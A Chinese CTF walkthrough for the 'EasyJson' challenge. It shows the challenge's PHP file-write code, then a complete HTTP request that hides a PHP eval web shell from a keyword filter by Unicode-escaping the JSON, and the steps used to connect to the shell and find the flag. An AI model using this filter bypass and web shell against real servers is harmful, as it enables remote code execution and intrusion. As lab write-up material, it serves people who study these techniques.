zoukankan      html  css  js  c++  java
  • CTF_EasyJson

    http://easyjson.d5116a.challenge.gcsis.cn/

    <?php
    include 'security.php';
    
    if(!isset($_GET['source'])){
        show_source(__FILE__);
        die();
    }
    $sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
    var_dump($sandbox);
    if(!file_exists($sandbox)){
        mkdir($sandbox);
        file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
    }
    $action = $_GET['action'];
    $content = file_get_contents("php://input");
    
    
    if($action == "write" &&  SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
        $content = json_decode($content);
        $filename = $_GET['filename'];
        $filecontent = $content->content;
        $filename = $sandbox.$filename;
        file_put_contents($filename,$filecontent."
     Powered By Dbapp OSS.");
    }elseif($action == "reset"){
        $files = scandir($sandbox);
        foreach($files as $file) {
            if(!is_dir($file)){
                if($file !== "index.php"){
                    unlink($sandbox.$file);
                }
            }
        }
    }
    else{
        die('Security Check Failed.');
    }
    

    创建以IP摘要的文件夹,然后从input流读入内容写入到指定目录的指定文件
    测试发现带有on关键字会被检测

    将n和content内容使用Unicode编码进行编码,利用json特性解析时自动解码绕过检测

    POST /?source=x&action=write&filename=x.php HTTP/1.1
    Host: easyjson.d5116a.challenge.gcsis.cn
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 175
    
    {"cou006etent":"u003cu003fu0070u0068u0070u0020u0065u0076u0061u006cu0028u0024u005fu0050u004fu0053u0054u005bu0027u0078u0027u005du0029u003bu003fu003e"}
    

    绕过检测,成功上传x.php文件,内容为<?php eval($_POST['x']);?>
    使用蚁剑连接之

    虚拟终端使用命令find / -name "*flag*"搜索flag

    在根目录发现flag且为可执行文件,执行得到flag

  • 相关阅读:
    Windows下安装Redmine
    【精华】Linux/GNOME的小技巧
    Perl简单教程
    【转载】手把手教你配置Windows2003集群(图)
    Windows 7 下如何配置PHP网站运行环境
    常用的PHP数据库操作方法(MYSQL版)
    CentOS上搭建Nginx + Mono 运行 asp.net
    【视频】Win2003 iis 流媒体设置
    【实用】OS X Lion restore Recovery HD Manually 手工创建 OS X Lion 恢复分区
    【小结】CentOS Linux操作系统的设置:
  • 原文地址:https://www.cnblogs.com/AirSky/p/CTF_EasyJson.html
Copyright © 2011-2022 走看看